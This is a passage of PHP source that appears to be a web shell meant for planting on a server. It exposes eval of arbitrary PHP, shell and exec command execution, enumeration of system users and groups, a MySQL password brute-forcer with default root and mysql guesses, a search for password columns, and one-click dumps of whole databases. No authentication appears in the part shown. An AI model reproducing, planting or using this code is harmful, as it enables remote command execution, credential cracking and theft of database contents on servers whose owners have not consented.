768						} else echo "tar failed: ".htmlentities($cmdd)."<br /> ".nl2br(htmlentities(print_r($output,true)))." <hr /> (".htmlentities($ret).") / (".htmlentities($tmpfile).")";
769						if(file_exists($tmpfile)) unlink($tmpfile);
770					}
771				}
772			} else {
773				echo "<font color=\"#990000\">";
774				if(!file_exists($dir)) echo "<b>Error:</b> \"".htmlentities($dir)."\" does not exist.<br>";
775				else echo "<b>Error:</b> \"".htmlentities($dir)."\" is not a directory<br>";
776				echo "</font>";
777			}
778		}
779	break;
780	case "touch":
781		$file = get('file');
782		$info = pathinfo($file);
783		if($file) {
784			if(@touch($file)) {
785				echo "<font color=\"#00AA00\"><b>File \"".htmlentities($file)."\" touched successfully!</b></font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir&dir=".urlencode($info['dirname'])."\">to the directory</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=file&file=".urlencode($file)."\">to the file</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
786			} else echo "<font color=\"#990000\"><b>Error:</b> file \"".htmlentities($file)."\" could not be touched (Denied!)</font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir&dir=".urlencode($info['dirname'])."\">to the directory</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
787		}
788	break;
789	case "mkdir":
790		$dir = get('dir');
791		if($dir) {
792			if(@mkdir($dir)) {
793				echo "<font color=\"#00AA00\"><b>directory \"".htmlentities($dir)."\" made successfully!</b></font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir&dir=".urlencode($dir)."\">to the directory</a><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
794			} else echo "<font color=\"#990000\"><b>Error:</b> directory \"".htmlentities($dir)."\" could not be made (Denied!)</font><br><a href=\"".htmlentities($_SERVER['SCRIPT_NAME'])."?action=dir\">to the directory listing</a><br>";
795		}
796	break;
797	case "eval":
798		if(!request('shownone')) {
799			?>
800				Eval (execute) this code:
801				<form method="POST" action="?action=eval">
802					<input type="checkbox" name="shownone" value="1" <?php if(request('shownone')) echo "CHECKED";?>> Do not echo out anything except for the output of the executed code<br>
803					<input type="checkbox" name="showallerrors" value="1" <?php if(request('showallerrors')) echo "CHECKED";?>> Show all PHP errors, warnings and notices<br>
804					<textarea name="eval" style="width:90%;height:500;"><?php echo htmlentities(request('eval'));?></textarea><br>
805					<input type="submit" value="execute">
806				</form>
807			<?php
808		}
809		if(request('eval')) {
810			if(!request('shownone')) echo "evaling PHP Code below:<hr>";
811			if(request('showallerrors')) {
812				@error_reporting(E_ALL);
813			}
814			eval(request('eval'));
815		}
816	break;
817	case "shellexec":
818			?>
819				execute this shell (one command per line):
820				<form method="POST" action="?action=shellexec">
821					<textarea name="shellexec" style="width:90%;height:500;"><?php echo htmlentities(request('shellexec'));?></textarea><br>
822					<input type="checkbox" name="processasmany" value="1" <?php if(request('processasmany')) echo "CHECKED"; ?>> Proccess seperately (only check if the commands don't have anything to do with each other)
823					<input type="submit" value="execute">
824				</form>
825			<?php
826		if(request('shellexec')) {
827			if(!request('processasmany')) {
828				echo "executing shell below:<hr><pre>";
829				echo "<b>".htmlentities(request('shellexec'))."</b><hr><br>".htmlentities(shell_exec(str_replace("\r","",request('shellexec'))))."<hr>";
830				echo "<hr></pre>";
831			} else {
832				$commands = explode("\n",str_replace("\r","",request('shellexec')));
833				echo "executing shell below:<hr><pre>";
834				foreach($commands as $cmd) echo "<b>".htmlentities($cmd)."</b><hr><br>".htmlentities(shell_exec($cmd))."<hr>";
835				echo "<hr></pre>";
836			}
837		}
838	break;
839	case "exec":
840			?>
841				execute this program (one command per line):
842				<form method="POST" action="?action=exec">
843					<textarea name="exec" style="width:90%;height:500;"><?php echo htmlentities(request('exec'));?></textarea><br>
844					<input type="submit" value="execute">
845				</form>
846			<?php
847		if(request('exec')) {
848				$commands = explode("\n",str_replace("\r","",request('exec')));
849				echo "executing below:<hr><pre>";
850				foreach($commands as $cmd) { if(trim($cmd)) { exec($cmd,$output,$ret); echo "<b>".htmlentities($cmd)."</b><hr><br>".htmlentities(print_r($output,true))."<hr>Return status:".htmlentities($ret)."<hr>";}}
851				echo "<hr></pre>";
852		}
853	break;
854	case "phpinfo":
855		phpinfo();
856	break;
857	case "system":
858		?>
859			<h2>System</h1>
860			<?php $sys = posix_uname(); ?>
861			Sysname: <?php echo htmlentities($sys['sysname']); ?><br />
862			nodename: <?php echo htmlentities($sys['nodename']); ?><br />
863			release: <?php echo htmlentities($sys['release']); ?><br />
864			version: <?php echo htmlentities($sys['version']); ?><br />
865			machine: <?php echo htmlentities($sys['machine']); ?><br />
866		<?php
867		if(isset($_GET['start']) && (int)get('start')) $start = (int)get('start');
868		else $start = 0;
869		if(isset($_GET['end']) && (int)get('end')) $end = (int)get('end');
870		else $end = 20000;
871		if(isset($_GET['startg']) && (int)get('startg')) $startg = (int)get('startg');
872		else $startg = 0;
873		if(isset($_GET['endg']) && (int)get('endg')) $endg = (int)get('endg');
874		else $endg = 500;
875		?>
876			<form method="get">
877				<input type="hidden" name="action" value="system" /><br />
878				<b>UID Range:</b><br />
879				Start: <input type="text" name="start" value="<?php echo $start; ?>" /><br />
880				End: <input type="text" name="end" value="<?php echo $end; ?>" /><br />
881				<b>GID Range:</b><br />
882				Start: <input type="text" name="startg" value="<?php echo $startg; ?>" /><br />
883				End: <input type="text" name="endg" value="<?php echo $endg; ?>" /><br />
884				<input type="submit" />
885			</form>
886			<h2>Users</h2>
887			<ul>
888		<?php
889		for($i = $start;$i < $end;$i++) {
890			$user = posix_getpwuid($i);
891			if($user) {
892				echo "<li> <b>".htmlentities($user['name'])."</b>
893				<blockquote>passwd: ".htmlentities($user['passwd'])."<br /> uid/gid: ".htmlentities($user['uid'])." / ".htmlentities($user['gid'])."<br /><!--gecos: ".htmlentities($user['gecos'])."<br />-->dir: ".htmlentities($user['dir'])."<br /><!--shell: ".htmlentities($user['shell'])."--></blockquote></li>";
894			} elseif($user === null) {
895				echo "<li> <b>Error:</b> posix_getpwuid() returned null. Should either return array or false. This most likely means it is disabled on this server. Stopping.</li>";
896				break;
897			}
898			
899		}?>
900			</ul>
901			<h2>Groups</h2>
902			<ul>
903		<?php
904		for($i = $startg;$i < $endg;$i++) {
905			$group = posix_getgrgid($i);
906			if($group) {
907				echo "<li> <b>".htmlentities($group['name'])."</b>
908				<blockquote>passwd: ".htmlentities($group['passwd'])."<br /> gid: ".htmlentities($group['gid'])."<br /> Members: <ul>";
909				foreach($group['members'] as $member) {
910					echo "<li>".$member."</li>";
911				}
912				echo "</ul></blockquote></li>";
913			}
914			
915		}//echo "<pre>";print_r(posix_getgrgid(103));print_r(posix_getgrgid(50));
916		?>
917			</ul>
918		<?php
919	break;
920	case "showglobals":
921		echo "<pre>";
922		echo htmlentities(print_r($GLOBALS,true));
923		echo"</pre>";
924	break;
925	case "mysql":
926		switch(get('type')) {
927			default:
928				?>
929					[<a href="?action=mysql&type=bf">Brute Force</a>]
930					[<a href="?action=mysql&type=query">Query</a>]
931					[<a href="?action=mysql&type=miniadmin">MiniAdmin</a>]
932				<?php
933			break;
934			case "bruteforce":
935			case "bf":
936				if(!post('users') || !post('passes')) {
937					?>
938					<form method="POST" action="?action=mysql&type=bruteforce">
939						<h3 style="margin:2px;">Brute force:</h3>
940						<textarea name="users" style="width:40%;height:350;"><?php echo (post('users') ? htmlentities(post('users')) : "root\nmysql\n".@get_current_user());?></textarea> <textarea name="passes" style="width:40%;height:350;"><?php echo (post('passes') ? htmlentities(post('passes')) : "\n\nmysql\n".@get_current_user());?></textarea><br>
941						<input type="submit" value="execute">
942					</form>
943					<?php
944				} else {
945					$passes = explode("\n",str_replace("\r","",post('passes')));
946					$users = explode("\n",str_replace("\r","",post('users')));
947					foreach($users as $user) {
948						foreach($passes as $pass) {
949							if(@mysql_pconnect('localhost',$user,$pass)) {
950								echo "<b>Success</b> with combination: <input type=\"text\" value=\"".htmlentities($user)."\" size=\"12\" />: <input type=\"text\" value=\"".htmlentities($pass)."\" size=\"12\" /><br />";
951							} else {
952								echo "Failure with combination:  <input type=\"text\" value=\"".htmlentities($user)."\" size=\"12\" />: <input type=\"text\" value=\"".htmlentities($pass)."\" size=\"12\" /><br />";
953							}
954						}
955					}
956				}				
957			break;
958			case "query":
959				if(!isset($_POST['user']) || !isset($_POST['pass']) || !post('query')) {
960					?>
961						<form method="post" action="?action=mysql&type=query">
962							MySQL host: <input type="text" name="host" value="<?php echo (post('host') ? htmlentities(post('host')) : 'localhost'); ?>" /><br />
963							MySQL user*: <input type="text" name="user" value="<?php echo htmlentities(post('user')); ?>" /><br />
964							MySQL pass: <input type="text" name="pass" value="<?php echo htmlentities(post('pass')); ?>" /><br />
965							MySQL database: <input type="text" name="database" value="<?php echo htmlentities(post('database')); ?>" /><br />
966							<textarea style="width:90%;height:300px;" name="query"><?php echo htmlentities(post('query')); ?></textarea><br />
967							Queries seperated by newlines.<br />
968							<input type="checkbox" name="cancelonfail" value="1" <?php if(post('cancelonfail')) echo "CHECKED"; ?>>Stop if a query fails?<br />
969							<input type="submit" value="Do it!" />
970						</form>
971						<b>Useful Queries:</b><br />
972						<ul>
973							<li>SHOW DATABASES;</li>
974							<li>USE <i>[database name]</i>;</li>
975							<li>SHOW TABLES;</li>
976							<li>SHOW COLUMNS IN <i>[table name]</i>;</li>
977							<li>SELECT * FROM <i>[table name]</i> LIMIT <i>1</i>;</li>
978							<li>SELECT * FROM <i>[table name]</i> WHERE <i>[column name]</i>='<i>value</i>' LIMIT <i>1</i>;</li>
979							<li>DELETE FROM <i>[table name]</i> WHERE <i>[column name]</i>='<i>value</i>' LIMIT <i>1</i>;</li>
980							<li>DELETE FROM <i>[table name]</i>;</li>
981							<li>UPDATE <i>[table name]</i> SET <i>[column name]</i>='<i>value</i>', <i>[column name]</i>='<i>value</i>' WHERE <i>[column name]</i>='<i>value</i>' LIMIT <i>1</i>;</li>
982						</ul>
983					<?php
984				} else {
985					$connection = @mysql_pconnect((post('host') ? post('host') : 'localhost'),post('user'),post('pass')) or die('<b>Error:</b> Could not connect to the server. Wrong pass/user?');
986					echo "Connection established.<br />";
987					if(post('database')) {
988						@mysql_select_db(post('database'),$connection) or die('<b>Error:</b> no connection to the database. Does it exist?');
989						echo "Database selected.<br />";
990					}
991					$queries = explode("\n",str_replace("\r","",post('query')));
992					foreach($queries as $query) {
993						if($query) {
994							echo "<blockquote>";
995							if($q = mysql_query($query)) {
996								$aff_row = mysql_affected_rows();
997								echo "Query successful! (".$aff_row." affected rows)<br /><input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($query)."\" /><br />";
998								if(is_resource($q)) {
999									echo "<b>Query Result:</b><br />";
1000									echo "<blockquote>";
1001										while($qr = mysql_fetch_assoc($q)) {
1002											echo "<pre>".htmlentities(print_r($qr,true))."</pre><hr />";
1003										}
1004									echo "</blockquote>";
1005								} else {
1006									echo "Query is resultless. (this means it's a query that will never return anything - like update or delete, not an empty select)<br />";
1007								}
1008							} else {
1009								echo "<b>Query failed!</b><br />Query: <input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($query)."\" /><br /><b>MySQL error:</b> ".mysql_error()."<br />";
1010								if(post('cancelonfail')) {
1011									echo "</blockquote><hr />Query failed! stopping!<br />";
1012									break;
1013								}
1014							}
1015							echo "</blockquote><hr />";
1016						}
1017					}
1018					echo "All done!<br />";
1019				}
1020			break;
1021			case "miniadmin":
1022				if(isset($_GET['u']) && isset($_GET['p'])) {
1023					$url = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p'));
1024					if($mcon = @mysql_pconnect((get('h') ? get('h') : 'localhost'),get('u'),get('p'))) {
1025						if(!get('shownone')) {
1026							echo "<b>".htmlentities(get('h'))."</b> - ".htmlentities(get('db'))."<br />";
1027							$databases = mysql_list_dbs();
1028							echo "Databases: | ";
1029							while ($row = mysql_fetch_row($databases)) {
1030								if(get('db') != $row[0]) echo "<a href=\"".$url."&db=".htmlentities(urlencode($row[0]))."\">".$row[0]."</a> | \n";
1031								else echo "<b>".$row[0]."</b> | ";
1032							}
1033							echo "<hr />";
1034						}
1035						if(get('db')) {
1036							$urld = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p'))."&db=".urlencode(get('db'));
1037							if(@mysql_select_db(get('db'),$mcon)) {
1038								if(!get('shownone')) {
1039									$tables = mysql_query("SHOW TABLES");
1040									if($tables) {
1041										echo "Tables: | ";
1042										while ($row = mysql_fetch_row($tables)) {
1043											if(get('tb') != $row[0]) echo "<a href=\"".$url."&db=".get('db')."&tb=".$row[0]."\">".$row[0]."</a> | \n";
1044											else echo "<b>".$row[0]."</b> | ";
1045										}
1046										echo "<hr />";
1047									} else {
1048										echo "<b>Error:</b> The SHOW TABLES query failed! (".mysql_error().")<hr />";
1049									}
1050								}
1051								if(get('tb')) {
1052									$urlt = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p'))."&db=".urlencode(get('db'))."&tb=".urlencode(get('tb'));
1053									switch(get('ta')) {
1054										default:
1055											$getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string(get('tb'))."`");
1056											if($getcolumns) {
1057												?><table border="1"><tr><td>Field</td><td>type</td><td>Key</td><td>default</td><td>AI?</td><td>Null?</td></tr><?php
1058												while($column = mysql_fetch_assoc($getcolumns)) {
1059													echo "<tr><td>".htmlentities($column['Field'])."</td><td>".htmlentities($column['Type'])."</td><td>".htmlentities(($column['Key'] ? $column['Key'] : 'none'))."</td><td>".htmlentities($column['Default'])."</td><td>".($column['Extra'] == "auto_increment" ? "y" : "n")."</td><td>".htmlentities($column['Null'])."</td></tr>";
1060												}
1061												?></table><br /><?php
1062											} else die ("<b>Error:</b> Could not retrieve columns!<br />");
1063											list($totalrows) = mysql_fetch_row(mysql_query("SELECT COUNT(1) FROM `".mysql_real_escape_string(get('tb'))."`"));
1064											echo "Number of entries: ".$totalrows."<br />";
1065											echo "<hr />";
1066										break;
1067										case "delrow":
1068											echo "<b>Deleting a row</b><br />";
1069											$iden = get('trid');
1070											if($query = get_iden_query($iden)) {
1071												$getrow = mysql_query("SELECT * FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1");
1072												if($getrow && $rowdata = mysql_fetch_assoc($getrow)) {
1073													echo "Row found!<br />";
1074													if(!post('sure')) {
1075														echo "<b>Are you sure you want to delete this row?</b><br /><form method='post'><input type='checkbox' name='sure' value='1' />Yes<br /><input type='submit'></form><b>Rowdata:</b><br />";
1076														foreach($rowdata as $key => $val) {
1077															echo "<u>".htmlentities($key)."</u>: <br />";
1078															echo "<textarea>".htmlentities($val)."</textarea><br /><br />";
1079														}
1080													} else {
1081														$quer = "DELETE FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1";
1082														echo "Query: <input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($quer)."\" /><br />";
1083														if(mysql_query($quer)) {
1084															echo "Deleted row successfully";
1085														} else echo "<b>Mysql error while deleting:</b> ".htmlentities(mysql_error());
1086													}
1087												} else echo "Error: This row could not be found. Have you already deleted it?";
1088											}
1089											echo "<hr />";
1090										break;
1091										case "editrow":
1092											echo "<b>Editing a row</b><br />";
1093											$iden = get('trid');
1094											if($query = get_iden_query($iden)) {
1095												$getrow = mysql_query("SELECT * FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1");
1096												if($getrow && $rowdata = mysql_fetch_assoc($getrow)) {
1097													echo "Row found!<br /><br />";
1098													if(!$_POST) {
1099														echo "<form method='post'><b>Edit the values below:</b><br />";
1100														foreach($rowdata as $key => $val) {
1101															echo "<u>".htmlentities($key)."</u>: <br />";
1102															echo "<textarea style='width:90%;height:110px;' name=\"".htmlentities($key)."\">".htmlentities($val)."</textarea><br /><br />";
1103														}
1104														echo "<input type='submit' value='Edit!' /></form>";
1105													} else {
1106														$q2 = "";
1107														foreach($rowdata as $key => $val) {
1108															if(isset($_POST[$key]) && post($key) != $val) $q2 .= ($q2 ? ', ' : '')."`".$key."`='".post($key)."'";
1109														}
1110														if($q2) {
1111															$quer = "UPDATE `".mysql_real_escape_string(get('tb'))."` SET ".$q2." WHERE ".$query." LIMIT 1";
1112															echo "Query: <input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($quer)."\" /><br />";
1113															if(mysql_query($quer)) {
1114																echo "Edited row successfully";
1115															} else echo "<b>Mysql error while editing:</b> ".htmlentities(mysql_error());
1116														} else echo "Error: You didn't change any rows!";
1117													}
1118												} else echo "Error: This row could not be found. Have you already deleted it?";
1119											}
1120											echo "<hr />";
1121										break;
1122										case "view":
1123											$getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string(get('tb'))."`");
1124											if($getcolumns) {
1125												$columns = array();
1126												while($column = mysql_fetch_assoc($getcolumns)) {
1127													$columns[] = $column;
1128												}
1129											}  else die("<b>Error:</b> Could not retrieve columns! (".mysql_error().")<br />");
1130											$s = ((int)get('s') ? (int)get('s') : 0);
1131											$n = ((int)get('n') ? (int)get('n') : 100);
1132											$limit = $s.",".$n;
1133
1134											$userwhere = "";
1135											if(get('cwhere')) {
1136												//if(substr(trim(get('cwhere')),0,5) != 'where') $userwhere = "WHERE ".get('chwere');
1137												$userwhere = get('cwhere');
1138											}
1139
1140											$query = "SELECT * FROM `".mysql_real_escape_string(get('tb'))."` ".$userwhere." LIMIT ".$limit;
1141											$getrows = mysql_query($query);
1142											echo 'Query: <input type="text" value="'.htmlentities($query).'" size="100" /><br />';
1143											echo '<form method="get" style="display:inline;">';
1144											foreach($_GET as $k => $v) if(!in_array($k,array("s","cwhere"))) echo "<input type=\"hidden\" name=\"".htmlentities($k)."\" value=\"".htmlentities($v)."\" />";
1145											echo 'Your custom additions: <input type="text" name="cwhere" value="'.(get('cwhere') ? htmlentities(get('cwhere')) : 'WHERE 1').'" size="60" /><input type="submit" value="change query"></form><br />';
1146											if($getrows) {
1147												list($totalrows) = mysql_fetch_row(mysql_query("SELECT COUNT(1) FROM `".mysql_real_escape_string(get('tb'))."` ".$userwhere));
1148												echo '<b>Page '.($n ? ($s/$n)+1 : 1).'</b> (Selecting '.$n.' out of a total of '.$totalrows.' rows, starting at '.$s.')<br />';
1149												if(($s-$n) >= 0) echo '[<a href="'.$urlt.'&ta=view&s='.($s-$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'"><<Page</a>]';
1150												if(($s+$n) <= $totalrows) echo '[<a href="'.$urlt.'&ta=view&s='.($s+$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'">Page>></a>]';
1151												echo "<table border='1'>\n<tr>";
1152												echo "<td>#</td><td></td>";
1153												$prim = array();
1154												foreach($columns as $column) {
1155													echo "<td>".($column['Key'] ? "<b>" : "").htmlentities($column['Field']).($column['Key'] ? "</b>" : "")." <i>(".htmlentities($column['Type']).")</i></td>";
1156													if($column['Key'] == "PRI") $prim[] = $column;
1157												}
1158												if(!$prim) $prim = $columns;
1159												echo "</tr>\n";
1160												$i = $s;
1161												while($row = mysql_fetch_assoc($getrows)) {
1162													$outp = "";
1163													$primaries = "";
1164													foreach($columns as $column) {
1165														if(in_array($column,$prim)) $primaries .= ($primaries ? "&" : "").urlencode($column['Field'])."=".htmlentities(urlencode($row[$column['Field']]));
1166														$outp .= "<td>";
1167														$size = 0;
1168														if(strpos($column['Type'],"(") === false) list($type) = explode("(",str_replace(")","",$column['Type']),2);
1169														else list($type,$size) = explode("(",str_replace(")","",$column['Type']),2);
1170														$size = intval($size);
1171														switch($type) {
1172															default: $outp .= htmlentities($row[$column['Field']]); break;
1173															case "int": $outp .= $row[$column['Field']]; break;
1174															case "varchar": case "char": $outp .= '<input type="text" size="'.(($size > 0 && $size < 20) ? $size : 25).'" value="'.htmlentities($row[$column['Field']]).'" />'; break;
1175															case "text": case "longtext": $outp .= '<textarea style="width:200px; height:50px;">'.htmlentities($row[$column['Field']]).'</textarea>'; break;
1176														}
1177														$outp .= "</td>";
1178													}
1179													$identification = "trid=".base64_encode($primaries);
1180													echo "<tr ".(($i%2) ? 'bgcolor="#EEEEEE"' : '')."><td>".$i."</td><td><a href='".$urlt."&ta=delrow&".$identification."'>X</a> <a href='".$urlt."&ta=editrow&".$identification."'>E</a></td>";
1181													$outp .= "</tr>\n";
1182													echo $outp;
1183													$i++;
1184												}
1185												echo "</table>";
1186												if(($s-$n) >= 0) echo '[<a href="'.$urlt.'&ta=view&s='.($s-$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'"><<Page</a>]';
1187												if(($s+$n) <= $totalrows) echo '[<a href="'.$urlt.'&ta=view&s='.($s+$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'">Page>></a>]';
1188											} else echo "<b>Error:</b> Could not get data due to mysql error (".mysql_error().")<br />";
1189											echo "<hr />";
1190										break;
1191										case "empty":
1192											if(post('sure')) {
1193												$query = "DELETE FROM `".mysql_real_escape_string(get('tb'))."`";
1194												echo 'Query: <input type="text" value="'.htmlentities($query).'" size="100" /><br />';
1195												if(mysql_query($query)) echo "Successfully emptied the table!<br />";
1196												else echo "MySQL error while emptying table: ".mysql_error()."<br />";
1197											} else {
1198												?>
1199												<form method="post" action="<?php echo htmlentities($urlt);?>&ta=empty">Are you sure you want to empty the table '<?php echo htmlentities(get('tb')); ?>'? This cannot be reversed. <br /><input type="checkbox" name="sure" value="1" />Yes.<br /><input type="submit" value="Yes" /></form>
1200												<?php
1201											}
1202											echo "<hr />";
1203										break;
1204										case "drop":
1205											if(post('sure')) {
1206												$query = "DROP TABLE `".mysql_real_escape_string(get('tb'))."`";
1207												echo 'Query: <input type="text" value="'.htmlentities($query).'" size="100" /><br />';
1208												if(mysql_query($query)) echo "Successfully dropped the table!<br />";
1209												else echo "MySQL error while dropping the table: ".mysql_error()."<br />";
1210											} else {
1211												?>
1212												<form method="post" action="<?php echo htmlentities($urlt);?>&ta=drop">Are you sure you want to drop the table '<?php echo htmlentities(get('tb')); ?>'? This cannot be reversed. <br /><input type="checkbox" name="sure" value="1" />Yes.<br /><input type="submit" value="Yes" /></form>
1213												<?php
1214											}
1215											echo "<hr />";
1216										break;
1217										case "dlsql":
1218											@header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-".get('tb').".sql\"");
1219											@header("Content-type: text/plain");
1220											list($ver) = mysql_fetch_row(mysql_query("SELECT @@version"));
1221											echo "-- - table structure: ".get('h')." / ".get('db')." / ".get('tb')."\n-- -".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n";
1222											gettablesql(get('tb'));
1223											exit;
1224										break;
1225										case "dlsqldump":
1226											@header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-".get('tb')."-data.sql\"");
1227											@header("Content-type: text/plain");
1228											list($ver) = mysql_fetch_row(mysql_query("SELECT @@version"));
1229											echo "-- - table dump: ".get('h')." / ".get('db')." / ".get('tb')."\n-- - ".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n";
1230											gettablesql(get('tb'));
1231											gettablecontentsql(get('tb'),((int)get('break') ? (int)get('break') : 100));
1232											exit;
1233										break;
1234									}
1235									if(!get('shownone')) {
1236										echo '<b>Table actions:</b><br />[<a href="'.$urlt.'&ta=view&s=0&n=10">view data</a> 10/page] [<a href="'.$urlt.'&ta=view&s=0&n=50">view data</a> 50/page] [<a href="'.$urlt.'&ta=view&s=0&n=100">view data</a> 100/page] [<a href="'.$urlt.'&ta=view&s=0&n=200">view data</a> 200/page] [<a href="'.$urlt.'&ta=view&s=0&n=500">view data</a> 500/page] [<a href="'.$urlt.'&ta=view&s=0&n=1000">view data</a> 1000/page]<br />';
1237										echo '[<a href="'.$urlt.'">view structure</a>] [<a href="'.$urlt.'&ta=empty">empty</a>] [<a href="'.$urlt.'&ta=drop">drop</a>] [<a href="'.$urlt.'&ta=insert">insert</a>]  [<a href="'.$urlt.'&ta=dlsql&shownone=1">download table structure (sql)</a>] [<a href="'.$urlt.'&ta=dlsqldump&shownone=1">download table dump (sql)</a>]';
1238										echo "<hr />";
1239									}
1240								} else {//no table selected
1241									switch(get('da')) {
1242										default:
1243
1244										break;
1245										case "dlsql":
1246											@header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db').".sql\"");
1247											@header("Content-type: text/plain");
1248											$gettables = mysql_query("SHOW TABLES");
1249											$tables = array();
1250											echo "-- - Database structure: ".get('h')." / ".get('db')."\n-- -".date('r')."\n";
1251											while($table= mysql_fetch_row($gettables)) {
1252												gettablesql($table[0]);
1253											}
1254										break;
1255										case "dlsqldump":
1256											@header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-data.sql\"");
1257											@header("Content-type: text/plain");
1258											$gettables = mysql_query("SHOW TABLES");
1259											$tables = array();
1260											list($ver) = mysql_fetch_row(mysql_query("SELECT @@version"));
1261											echo "-- - Database dump: ".get('h')." / ".get('db')."\n-- -".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n";
1262											while($table= mysql_fetch_row($gettables)) {
1263												echo "\n-- - Table structure: ".$table[0]."\n";
1264												gettablesql($table[0]);
1265												echo "\n-- - Table data: ".$table[0]."\n";
1266												gettablecontentsql($table[0],((int)get('break') ? (int)get('break') : 1000));
1267												echo "\n\n";
1268											}
1269											exit;
1270										break;
1271
1272									}
1273								}
1274								if(!get('shownone')) echo '<b>Database actions:</b> <br />[<a href="'.$urld.'&da=dlsql&shownone=1">download database structure (sql)</a>] [<a href="'.$urld.'&da=dlsqldump&shownone=1">download database dump (sql)</a>] <hr />';
1275								
1276							} else {
1277								die( "<b>Error:</b> Selected database does not exist/can't be accessed.<br />");
1278							}
1279						} else {
1280							switch(get('a')) {
1281								case "findpwcols":
1282									echo "<b>Finding columns containing 'pass' or 'pw'</b><br />";
1283									$needle = array('pass','pw');
1284									findindb($needle,'col');
1285									echo "<hr />";
1286								break;
1287								case "find":
1288									if(post('find')) {
1289										echo "<b>Finding columns containing ".htmlentities(post('find'))."</b><br />";
1290										$needle = explode(",",str_replace(" ","",post('find')));
1291										if(post('type') == 'col') findindb($needle,'col',(post('stype') == 1));
1292										else findindb($needle,'table',(post('stype') == 1));
1293										echo "<hr />";
1294									} else {
1295										?>
1296											<form method="POST" action="<?php echo htmlentities($_SERVER['REQUEST_URI']); ?>">
1297												Find<br />
1298												<input type="radio" name="type" value="col" />columns <input type="radio" name="type" value="table" /> tables<br />
1299												<input type="radio" name="stype" value="0" />containing <input type="radio" name="stype" value="1" /> named<br />
1300												<input type="text" name="find" value="" /> (Separated by comma)<br />
1301												<input type="submit" value="Do it!" />
1302											</form>
1303										<?php
1304									}
1305								break;
1306								case "dlsql":
1307									@header("Content-Disposition: attachment; filename=\"".get('h')."-alldbs.sql\"");
1308									@header("Content-type: text/plain");
1309									$dbprefix = preg_replace('~^([^\\d\\w_\\-]*)$~is','',get('dbprefix'));
1310									$onlywithprefix = preg_replace('~^([^\\d\\w_\\-]*)$~is','',get('onlywithprefix'));
1311									$getdatabases = mysql_list_dbs();
1312									if($onlywithprefix ) echo "-- - Only tables with prefix: ".$onlywithprefix."\n";
1313									while ($db = mysql_fetch_row($getdatabases)) {
1314										if(!$onlywithprefix || substr($db[0],0,strtolower(strlen($onlywithprefix))) == strtolower($onlywithprefix)) {
1315											mysql_query("USE `".$db[0]."`");
1316											$gettables = mysql_query("SHOW TABLES");
1317											$tables = array();
1318											echo "-- - Database structure: ".get('h')." / ".$db[0]."\n-- - ".date('r')."\n";
1319											if($dbprefix) echo "-- - Added prefix: ".$dbprefix."\n";
1320											echo "CREATE DATABASE `".$dbprefix.$db[0]."`;\n";
1321											echo "USE `".$dbprefix.$db[0]."`;\n\n";
1322											while($table= mysql_fetch_row($gettables)) {
1323												gettablesql($table[0]);
1324											}
1325										} else {
1326											echo "-- - Skipping database: ".$db[0].", because of wrong prefix.\n";
1327										}
1328									}
1329									exit;
1330								break;
1331							}
1332							if(!get('shownone')) echo "<hr />";
1333						}
1334						if(!get('shownone')) echo '<b>General actions:</b> <br />[<a href="'.$url.'&a=findpwcols">Find columns probably containing passwords</a>] [<a href="'.$url.'&a=find">Search columns/tables</a>] [<a href="'.$url.'&a=dlsql&shownone=1">Download structure of all databases</a>]';
1335					} else {
1336						echo "<b>Error:</b> Could not connect to server (wrong pass?)<br />";
1337						$needlogin = 1;
1338					}
1339				} else $needlogin = 1;
1340				if(isset($needlogin)) {
1341					?>
1342					<form method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']); ?>">
1343						<input type="hidden" name="action" value="mysql" />
1344						<input type="hidden" name="type" value="miniadmin" />
1345						Host: <input type="text" name="h" value="<?php echo (get('h') ? get('h') : 'localhost'); ?>" /><br />
1346						MySQL user: <input type="text" name="u" value="<?php echo get('u') ?>" /><br />
1347						MySQL pass: <input type="text" name="p" value="<?php echo get('p') ?>" /><br />
1348						<input type="submit" value="Go!" />
1349					</form>
1350					<?php
1351				}
1352			break;
1353
1354		}
1355	break;
1356}
1357?>